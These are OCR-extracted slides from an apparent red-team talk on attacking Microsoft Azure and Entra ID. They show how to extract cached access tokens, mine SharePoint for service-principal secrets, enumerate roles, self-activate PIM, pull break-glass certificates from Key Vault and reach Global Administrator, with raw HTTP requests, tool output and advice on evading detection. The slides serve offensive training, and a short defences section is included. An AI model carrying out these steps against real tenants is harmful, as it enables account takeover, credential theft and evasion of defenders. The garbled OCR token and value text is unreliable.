Extract access tokens using TIBRES

[+} Extracted from: C:\Users\vimes\AppData\Local\Microsoft\TokenBroker\Cache\b65ae293a6642a7eecce8190422adb7d156da25e.tbres
[+] Audience => https://graph.microsoft.com/

[+] Permission => AuditlLog.Read.All Calendar.ReadWrite Calendars.Read.Shared Calendar
All Directory.Read.All Files.Read Files.Read.All Files.ReadWrite.All Group.Read.All Group.ReadWrite.All InformationProtectionPolicy.Read Mail.ReadWri
Read People.Read.All Printer.Read.All PrintJob.ReadWriteBasic Sensit InfoType.Detect SensitivelnfoType.Read.All Se
ReadWrite.All TeamsTab.ReadWriteForChat User.Read.All User.ReadBasic.All User.ReadWrite Users.Read

s.ReadWrite Contacts.ReadWrite DatalossPreventionPolicy.Evaluate Directory.A
ccessAsUser.
te Notes.Create Organization.Read.All People
nsitivitvLabel.Evaluate Tasks.ReadWrite TeamMember.
[(+] Token:
eyJOeXAi101JKV1QiLCIub25jZSI6I192S215R19ZSTA1UTRYLS14MGOWYWEYUMXNZzdzdhbGF xaUMxaF J2WmUxUXMiLCIhbGci01JSUZIINLISIngldCIGIA1ILSTNROWSOU jdiUm9meGllWm9YcWIIWkdldyIsImtpZ
CIGI11LSTNROWS OUJdlUﬂanbllwu9|CWJIdelvaQ cy leOlJOdHRHLIOVL7duf!bOLHle’JV(ZQHdCJ b2 UvI;uld’NLIJOIAHROCH“G' 32dHMud21uZG93cySuZXQvZTY30WMxYWMEMjYyZ COJHYb,L
1613 8101 JBV1FRcSBUVUFRO AONDA LSDOSMm

o 11 M > NUA LKSMDTI3A vIsImlh 5 Mz LUnny w1 bn 0 .. INIMU sHATD 0 171lzM70<s 11 1Y 30 . Eiei1TA 3

bZ8d1X6T84Wrs4mPZsfyLMA

¥Q.AjJboigz4Em- NLSuFu'qury7b FQCTPRFEhRJR3Y1mOTYLIX1+G1D88SmKh363syVQSDDciF-7TW1ZPNJ7_TvZpRbbE3069diLdr3qJiM3vref2PHrGVX-3eoqkfCyxx87wtS5oRspNkqU710ADhGMOmMOIZ
] g9 1 yv y 1

u‘q pvSTxe061JD1sx L6d0ZsBQQTEPL~ POnu 1DUU“IOVQISQ(I{QHBQHOTHDA'R[?A]RDIUmpHYJkPFElLSHHluGJbBR)q SNsK70pGSZ0eGibyygMjIXxAxqydLKdANSE

JFn9FTpup36hxo2jyDyczZI

*\J A
VA
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: Practical example - Sharepoint via MSGraph
o)

Documented APl endpoint to search both Sharepoint and OneDrive

POST /search/query
Content-Type: application/json
Authorization: Bearer <token>

{

"requests": [
{
"entityTypes": |
"driveltem*

]

"query": {

"queryString™: “<query>“
}

}

]

}

The “queryString” parameter is the KQL syntax. So you can do filters like filetype, terms
and filename

. \
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Practical example - Sharepoint via MSGraph

Find credentials for an application used by the helpdesk

try {
# Add the service principal application ID and secret here

$servicePrincipalClientld=“50b7a839-REDACTED";
$servicePrincipalSecret="kso09+REDACTED";
$env: TENANT _ID =" eda-REDACTED ";
$env:SUBSCRIPTION_ID =" REDACTED *;
$env:RESOURCE_GROUP = “helpdesk-apps”;
$env:LOCATION ="uksouth"; #i.e. westeurope
$env:AUTH_TYPE ="principal";
$env:CORRELATION_ID =" REDACTED ";
$env:CLOUD ="AzureCloud";

. \
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TN

/, " N
S—4 Practical example - , @)\ &
Service Principal Authentication \\/ A MDSec

o

Authenticate with Enterprise Application

PS C:\Users\vimes\tools\dev\getToken\bin\Release> .\getToken.exe
Bb j C: windows

.

A APV AR 7 A A S V A S S V S |
AR S A S S SRR B B B S Y B B A A A
Ny NN NI LS
F—
A tool to create tokens using credentials.
by @5ir_FIS
[+] making request to https://login.microsoftonline.com/eda ‘vauth2/v2.0/token
[!] Got response
i

"token_type": "Bearer",

"expires_in": 3599,

"ext_expires_in": 3599,

"access_token": "eyJOel
YzIyeFpddzFzVUhIMCJ9. eyJt
BONGQSLWEYYTEtMTAZNZ jNmE
HJObXhiYW1lwOEpuRnJRcVYOYh
MSIsImlkcCI6ImhBdHBz018vc
KZmZiLTQSNTAtNDg1MC1iNz11
Vil joiYTAUNGEmZmItNDRIMCE
HpEUmJaazIUVGxRVF82bVdBUS
pWWbM1lnKLnhsLeU4Hdo-pulXe
yToBFpRfh)-3vxvdduR0Yxgge
Za-vriWcrFftZmDGjCUFXcdA"

We can authenticate to various audiences as the application not just AzureRM
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Practical example - Enumerate perms

Get role assignments for service principal

GET
/subscriptions/<subscriptionld>/providers/Microsoft.Authorization/roleassignments=2022-
04-01

Host: management.azure.com

Authorization: Bearer <token>

RoleDisplayName : Helpdesk Administrator
Roleld . 7298-REDACTED
DirectoryScopeld : /administrativeUnits/391304f-REDACTED

GET /v1.0/directory/administrativeUnits/391304f-REDACTED/members
Host: graph.Microsoft.com

<every user in the tenant> e.g.

Id . 9411289fb-REDACTED

userPrincipalName : svc_vault@clientcorp.com

. \
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Pretty Raw Hex

O € » p

Practical example

Activate PIM

Ny w =
GET /providers/Microsoft.Authorization/roleEligibilitySchedul eInstances?api-version=2020-10-01&
$filter=asTarget() HTTP/1.1

Host: managenent .azure.com

User-Agent: Mozilla/5.2 (Windows NT 10.0; Win64; x64;
Accept: application/json

Authorization: Bearer

ey JOeXA101 K\l

xS2ZLRK1 famS

rv:109.0) Gecko/20100101 Firefox/115.0

IntpZCI6Tkw
POt IiwiaXnzI

PLWQy Na YT NDL
P1ZTQOLTQ3Z)

BqbVvd3bwhCek

0SJdLCI4bXN
DefQ. IMvgsA)
QhSI1opKhICS
DxCVMaae1v0- 373
ofu- DaIXvu.IleHOlLdeYlBr] ) quNDNIyO xYAf88NS!L§2)(PL(rA:dFFd(z!BGGoAtN!‘PﬁsYBRh(VnHQluGokaahI
A3Ck sbf 74GNXQXbDNEBXYnn f GEeEYNE2K - VvMUJL cpAInsvVMe

0 highlights

Pretty Raw Hex

O € »

HTTP/1.1 200 OK

Cache-Control: private
Content-Length: 1821
Content-Type: application/json:
mspimslice: PROD
x-ns-client-request-id: f24712d7-334d-4fda-b9c2-9221a71e09dc
Access-Control -Allow-Origin: *
Access-Control -Allow-Methods:
Access-Control -Allow-Headers:
nane, x-ms-client-session-id,
x-ns-command-nane

X-AspNet -Version: 4.0,30319
x-ns-ratelinit-remaining-tenant-reads: 11999

x-mns-request-i1d: 20343246-a6e6-48b9-8448-61906a335846

x-ns-correlation-request-id: 20343246-26e6-48b9-B448- 619062335846
x-ns-routing-request-id: UKSOUTH:20240503T1823552: 20343246-a6e6- 48b9-8448- 619063335846
Strict-Transport-Security: max-age=31536000; includeSubDomains

X-Content -Type-Options: nosniff

X-Cache: CONFIG_NOCACHE

X-MSEdge-Ref: Ref A: C7B8242913F06406C925872E79F3E3A4D Ref B: AMS231020615045 Ref C:
2024-05-03T18:23:54Z

Date: Fri, 03 May 2024 18:23:54 GMT

charset=utf-8

POST, PUT, DELETE, GET, OPTIONS, PATCH
content-Type, accept, origin, X-Requested-With, Authorization,
accept-language, x-ms-client-request-id, x-ms-effective-locale,

{
*value":|[

*properties”:{
“roleEligibilityScheduleld"”
‘/subscriptions
4/providers/Micros
tion/roleEligibality
“scope”
"/subscriptions
4/providers/Micr
roleDefxnnxon
$ r('lr(.w
roleDefinitio

Authoriza

providers/Microsoft . Authorization

"prln(lpul]d" -d26f-49f1-8404-¢c98d
"pr:.ncxpalType

“status®:"Prov

'startDateTxne 2024-05-02T Pretty Raw Hex
“endDateTine" 25-05-02T08———
uenbcr‘rype .

fsubscription

ssignment Schedu

Host: management.azure.com
3 User-Agent:
1  Accept: application/json
Authorization: Bearer

"createdOn®
expandedproperi 1es*:{

1JBVVFBAS84VOFEQ
YWlyIjpbInB3ZCld
zIj pbI) EyMGE3CDI]|
oiNTEUMTOWL] I1L)

UdzaGt fMVVaSHYza)

ZjgtYmNLMNS1) Yzg2)

3OWZ1Z) RkLTM Z) k|

Bt YIz3051AZBUEGECONG v b

rjJ 3quwWONIyQ_xYAf88NSt L_RE):PLU.I:4Fchz)<8C;GoAtNMPk5Y8RJ1CvnManGoykuahIAS(k5bfFAGNKQXbDNEB)ﬁnnfGEeEYI\EZK VvHJchuAJnsvvm
f Content-Type: application/json

Content -Length: 801

o {
“Properties”:{
"PrincipalId": "15¢db8f3- e8cB- 489b-b09¢ - dbab53672de8" ,
“RoleDefinitionId":"/subscriptions
"RequestType":"SelfActivate”,
"LinkedRol eEligibilityScheduleld":
*/subscriptions/
roleEligibility
"Justification® \lld-m.on only ca'll
“ScheduleInfo”:{
"StartDateTime" :null,
*Expiration”:{
“Duration”:"PT30M",
"Type":"AfterDuration”
}
+
"TicketInfo":{
"TicketNumber”: "Evaluate Only",
*TicketSysten”: "Evaluate Only"
T
“IsvalidationOnly*:true,
"IsActivativation®:true
}

/resourceGroups
-eda36c0d6eSe7api

Mozilla/S.2 (Windows NT 10.0; Win64; x64; rv:

R\ w =

Wfﬂlcrnsaft‘Keyvau’ll/vau'l.!sl_prondersmicrcsoft .Authorization/roleA
- e

:109.0) Gecko/20100101 Firefox/115.0

nZN11bnQuYXplemUuY29t Ii
pcsInFjci1I6I) ELLCIhaW810
DAZM) AwMzdCNTCxODNCI 1wl
b3NvZnQuY 29t TiwiZ3IvdxB
101)1c2VyIiwaaXBhZGRy1)
QwQXp rS11LM3VELUVTODV] &
DALy Y] U4NDD) ZS11MzdiLTQO
01IxLjALLCISaWRzI)pbInI
JCSTZ8YSPMFhGbmONCIkeTO
MUt U-DaIXwULIL6fHOt LP1Y18

fproviders/Microsoft . Authorization/roleDefinition NG

r!:sourcf:(}raups-—'urondcrs Microsoft . Keyvault /vault S5 EEGEBE o-oviders/Microsoft . Authorization/

eS53adc67",
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Practical example - Access Keyvault

Using the credentials for the app we can request an access token for keyvault by
specifying an audience of “https://vault.azure.net/.default”

GET /"subscriptions/" + <subscriptionld> + "/resources", "2014-04-01-preview", "$filter=resourceType
eq 'Microsoft.KeyVault/vaults’”

{

"value": [
{

"id":
"/subscriptions/<subscriptionID>c/resourceGroups/administration/providers/Microsoft.KeyVault/vaults
/HelpdeskAdminVault",

"name": " HelpdeskAdminVault ",

"type": "Microsoft.KeyVault/vaults",

"location": “uksouth",

"tags": {}

}
]
}
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Practical example - Access Keyvault

get https://helpdeskAdminVault.vault.azure.net/certificates?api-version=7.4

{
“1d": "https://
helpdeskAdminVault.vault.azure.net/certificates/brkglasscert/1392a2af12cd89bccf4k3d729a8fd533",
"kid": "https:// helpdeskAdminVault.vault.azure.net/keys/ brkglasscert/1392a2af12cd89bccf4k3d729a8fd533",
"sid": "https:// helpdeskAdminVault.vault.azure.net/secrets/brkglasscert /1392a2af12cd89bccf4k3d729a8fd533",
"x5t": "1ly5pCSHvs-8VDmMBFZETm3VdBcl",
“cer™: "MIIC/DCCA...snip...
"attributes": {
"enabled": true,
"nbf": 1708335980,
"exp": 1866189381,
"created": 1708336750,
"updated": 1708336750,
"recoverylLevel": "Recoverable+Purgeable"”,
"recoverableDays": 90

. \
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get https://helpdeskAdminVault.vault.azure.net/secrets/brkglasscert/1392a2af12cd89bccf4k3d729a8fd533?api-
version=7.4

{

"value": “<certificate_blob>”,
"contentType": "application/x-pkcs12",
"id": "https://helpdeskAdminVault.vault.azure.net/secrets/brkglasscert/1392a2af12cd89bccf4k3d729a8fd533",
"managed": true,
"attributes": {
"enabled": true,
"nbf": 1708245900,
"exp": 1866182481,
"created": 1708446940,
"updated": 1708446940,
"recoveryLevel": "Recoverable+Purgeable"”,
"recoverableDays": 90
I
"kid": "https:// helpdeskAdminVault.vault.azure.net/keys/brkglasscert /1392a2af12cd89bccf4k3d729a8fd533"

}
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Practical example - Authenticate with cert \. |

é"jﬁmull*‘* /
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You can use certificates to authenticate as a serviceprincipal to Azure

PS C:\Users\vimes\tools\dev\getToken\bin\Release> .\getToken.exe C:\users\vimes\Documents\work\practice'\breakglass.pfx
msgraph 2cfbadbc-838U~-Uldd-BetT-Bc39T9968d02

NN N

f I i< rrr/

Ny NN NN LS

S

A tool to create tokens using credentials.

by @Sir_FIS

[+] got tenantID: a5256!

[+] Got OK response

{"token Tynp“'“Fp1rFP" "expires_in":3599 "ext Pup ires_in":3599 "access trhpn"'"py1ﬂpxu1ﬂ1]HU1Q1IF uh]E]?RTEThlyH”1Erﬁrﬂ¥nﬂ?1FMpr1UHh]?QP
L e e T T e —~yeFplid
zFzVURIP MeYyoy
ZGUSNz I} xoekbr
REJRcX 1A MzOTch
OTYUZDAy LwIljoi
YXBwIiw: FEQUFE
QUFDCOFE ByMjAS
LTRhHmE1 ESHCEw
MTIxNzc +H5v2j
wAF 2xc9e dxE7jL
KFLKEL jb_EDmeTdIKWMSDBGWOUYSsveklyS6H154x05 § 2wywel jNuuCGIPY LbzZal BUFRwNPCAFBEJSBxUOGRaxdmS TwhtrqqpTLEFN j6DagM6z SBqQHZ F)vkZ iLXNMRhBsOe—Chm
pdTRN6crB8gyk-1haRGPIE-JIDHfbsCQaullpzDpDaBUPHUVVC1tea_31xA"}
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Practical example - Get Global Admin

By finding the application

"EthuF#LLt appid ;ﬂ]uau.m 3u13 dlSu bOF e‘ﬂc;u?21d
Sgraph>change=tohen TToToTmETmTm T mmm e
|:-|| zF 2V '|r"'.- 19 . &y
:'l: IGMTexNzY I0OTHIRywLY
vyl 2wl VX BwaWRhY3I1 104
FROEFON 1N scFFralltroiy
yDGEU SNz TSHGT 2 MaQELC.I]
ToURDczMzgsInhtcl 982
U 58 veklyS6H15Ux05 ] 2
{ ek [T
Username: breakglass_app
AppId: ¥9ldaB2a-8s78-0156-b%FE-J8eTee3aT23d
Bescription:
Heycredentials:Hicrosoft . Graph.Models . KeyCredential
Apprales:
Rotes
DefaultRedirectURI
Lroups

GroupMame | Description | Id |

[+] Rales

aleName Description 1d AllowedResourcedctions

Global Administrator | Can manage all aspects of Microsoft Entra ID and Microsoft services E2e 039U -69FE-U23T7-91 98-80 21 TT1USeld | microsoft. azure. advancedThreatProtection/allEntities/allTasks
that use Microsoft Entra identities. nicrosoft . azure. informationProtectionfallEntities/allTasks
nicrosoft. arure.serviceHealth/allEntities/ allTasks

1 portTichets/aliEntities/aliTashs

€ fallEmtities /allProperties/allTasks
nicrosoft, commerce  billing/allEntities/allProperties//allTasks
nicrosoft . commerce . billing/purchases/standard/read
nicrosoft . directory/accessfeviens/allProperties/allTasks
nicrosoft . directory/faccessReviens/definitions/al LProperties/al lTashs
nicrosoft.directory/adninConsentRequestPolicy/allProperties/allTashs
microsoft directory/adninistrativelnits/allProperties/allTasks
microsoft  directo ryfapploansent/ appLonsentRequests 14 Propartile 5/ Pla
microsoft, directory/applications/allProperties/allTasks
nicrosoft . directory/applications/synchronization/standard/read
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Put 1t all 1n one place \.

4 o
sk arnd® /

-, -
S—

e Talking to API gives you more freedom to query/execute Azure commands than az
cli and Azure Powershell module.

e Wrote a tool to use these API calls /¥ TokenTactics Owatch 14 -

¥ main ~ ” 1Branch G g Q. Go to file t Add file ~ <> Code ~

/ N/ / __ N/ /- [ ] __\
JI1 L LTI Tl /8 rwrsh3il Update TokenHandier oo e (D
/ ____/ /___/ /_/ / / / / / / /___/ =1 _/ BB capturetokenphish
Neeed 1] Id e/ 2] vO.1c ’ ’

BB modules

Lets be evil with Graphs =
By @S_‘LI‘_FIS resources

1 .gitattributes

] LICENSE

Command Description Y README.md

msgraph 1 TokenTactics.psd1
graph
azurerm

storage
teams [0 README 3[3 BSD-3-Clause license

f' TokenTactics.psm1

change—token

change-refresh .
refresh TokenTactics

set-proxy
parse_emails Azure JSON Web Token ("JWT") Manipulation Toolset

send_email Azure access tokens allow you to authenticate to certain endpoints as a user who signs in with a device code. Even if
QEt they used multi-factor authentication. Once you have a user's access token, it may be possible to access certain apps
hEIP [0 README &E BSD-3-Clause license Z such as Outlook, SharePoint, OneDrive, MSTeams and more.

exit

plotter>| pypi V20| python 3.8+

GraphSpy Public tools that does this very well (and is opensource):
TokenTactics:
https://github.com/rvrsh3ll/TokenTactics
/ by RedBytel337 _ /
T GraphSpy:
= =l https://github.com/RedBytel1337/GraphSpy/tree/master

SN I I I NV
S ) N S——

V|
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Defences

e CAP is the biggest blocker to this, kind of
e But Microsoft haven’t implemented it so that its obvious how the rules work

e Authentication is evaluated for MSGraph against the CAP rules taking into
consideration

e Scope
e Client
e So since there's over 100 scopes and 100s of clients there are a lot of gaps

e But if CAE enforced and a strong CAP with MFA is enforced what do you do?

. \
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Bypassing Defences - As an operator

We're operating as the user, so we're compliant

So with loss in Ul experience, we can make the recon directly:

Its all APlIs so all you need is the ability to make HTTP requests and we're golden

. \
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Opsec considerations

The CAE rejection raises no known alerts
Access tokens remain unseen and unremarked by Microsoft

The main point of friction is when the token is created. Microsoft have a feature you
can enable to flag unusual sign ins:

e Is the origin IP known to be malicious

e Is the origin IP in a different country to the user? Is it physically impossible to
travel like that?

e Is the |IP associated with any cloud provider?

e Suspicious creation of mailbox rules or activities

This can also apply to token refresh depending on rules/subscriptions in place:
e Follow same principal as sign in

e Mismatch/unusual token properties

. \
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Opsec considerations

The party is over ...
Microsoft Graph Activity Log is Now Available in Public Preview
By @ Kristopher Bash

Published Oct 13 2023 09:00 AM B 19.2K Views i

Hi friends,

Today we're excited to announce the public preview of Microsoft Graph Activity Logs. Have you wondered what applications are doing with the access you've granted
them? Have you discovered a compromised user and hoped to find out what operations they have performed? If so, you can now gain full visibility into all HTTP requests

accessing your tenant’s resources through the Microsoft Graph API.
*Note: We're enabling the feature starting today. Public preview will be available in all public cloud regions within two weeks.
You're currently able to collect Signin logs to analyze authentication activity and Audit logs to see changes to important resources. With Microsoft Graph Activity Logs,

you can now investigate the complete picture of activity in your tenant — from token request in Signin logs, to API request activity (reads, writes, and deletes) in Microsoft

Graph Activity Logs, to ultimate resource changes in Audit logs.

Microsoft Entra admin center £ Search resources, services, and docs (G+/) J::»«;E\:‘:It;l:::.\
a
ft Home
® Logs
&
*  Favorites
© New Query 1 . aria
©  Overview Tables  CQueries 1 MicrosoftGraphActivitylogs
‘ 2 | where TimeGenerated > ago(1lh)
R Usens
| where ResponseStatusCode == 481 or ResponseStatusCode == 403
o Grows 4 | project Appld, Userld, ServicePrincipalld, ResponseStatusCode, RequestUri,
RequestMethod
& Deviees — | 1imit 1000
B Appliaations
ta
&  FRoles & admins Results
t Ap on
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Session X

Control access based on session controls to
enable limited experiences within specific
cloud applications. Learn more &'

D Use app enforced restrictions (1

D Use Conditional Access App Control (D
’j Sign-in frequency (0

D Persistent browser session (1)

Customize continuous access O]
evaluation

O Disable

(®) Strictly enforce location policies
(Preview) (0

A secure sign-in session requires all long-lived tokens (the Microsoft Entra session
cookie and refresh token) to be bound to the device using software key binding or
hardware security module binding where available.

Ledarn more

D Require token protection for sign-in O]
sessions (Preview)

Me after gfaending
all this time
learning it

fix their product
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Opsec considerations

e Detections only apply to Msgraph -> classic microsoft
e AAD graph and other APIs are still gtg

e Detections published so far are about volume of graph api requests and User
agents.

e While detections will no doubt become more sophisticated, so can our requests.
So long as the APl is open we can just keep tweaking our recon to evade detection

. \
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In Summary

e Over reliance on controls being on the portal level means we have a lot of more
access as normal users than defenders realise

e We should incorporate hybrid attacks and recon into our normal routine
e The obscurity of the technology works in our favour

e Detections are still rudimentary so lots of room for changes and subsequent
abuses

e Other cloud operators work similarly so we can transfer the skills as need

Fig: me totally unaffected by learning Azure APIs
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